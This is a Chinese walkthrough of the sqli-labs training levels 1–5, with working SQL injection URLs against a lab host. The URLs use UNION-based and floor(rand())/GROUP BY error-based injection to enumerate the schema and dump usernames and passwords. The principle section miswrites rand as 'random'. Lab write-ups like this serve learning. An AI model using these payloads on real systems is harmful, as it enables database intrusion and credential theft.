Less-1:
页面中“Please input the ID as parameter with numeric value”意思是请以数字值作为参数输入用户标示符。
首先判断这是数字注入还是字符注入。经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。
然后在id后面加个',就会报错,可能是字符型注入
输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
然后用order by 来判断有多少列数据,order by 3,发现是页面正常
然后order by 4,发现是报错的
因此可知共有3列数据
所以需要用order by确定表的列数才可以使用联合查询
使用union select 1,2,3查看页面是否有显示位
还有在使用联合查询之前需要把id值随便改一个,例如-1,绝不可以是数据库里面所存在的值
发现页面先输出了2和3,说明页面有2个显示位,第一列不显示
查询当前数据库
http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%201,2,database()--+
然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
首先查询数据库名信息
http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+
查询security内的所有表名
http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)--+
查询表“Users”中的所有列名
http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23
批量查询表“Users”的内容,username和password用“:”隔开
http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23
Less-2:
首先判断漏洞是否存在,加单引号报错,说明漏洞存在
去掉单引号,加and 1=1页面正常,故已闭合
用order by 判断该表有多少列,order by 4报错,Order by 3正常,故共有三列
判断显示位
查询当前数据库,为“security”
批量查询该数据库中所有表名
查询表“users”中所有列名
查询所有username和password,用“:”隔开
Less-3:
首先输入1’,页面报错,故存在漏洞
加and 1=1没有用
发现在单引号后加括号可以使其闭合
用order by 判断共有几列,发现有3列
将id改为-1,再用union select 查询显示位
查询当前数据库名,为“security”
后续过程同Less-2
Less-4:
根据报错信息,猜测需要用”)来闭合
经验证,确实需要用”)来闭合
用order by 判断共有几列,发现有3列
之后的过程同Less-2
Less-5:
这道题是“双查询注入”,双查询注入顾名思义形式上是两个嵌套的查询,即select ...(select ...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
concat函数是用来连接,比如 concat(‘a’,’b’)那结果就是ab了
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
原理:
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
首先利用报错查询数据库,为“security”
http://30.10.0.10:41627/Less-5/?id=1%27%20%20union%20select%20null,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+
接着查询数据库中的第一张表名
http://30.10.0.10:41627/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
通过修改LIMIT函数偏移量,查询数据库中的其他表
http://30.10.0.10:41627/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%201,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
接下来利用报错查询列名
http://30.10.0.10:45563/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
修改LIMIT的偏移量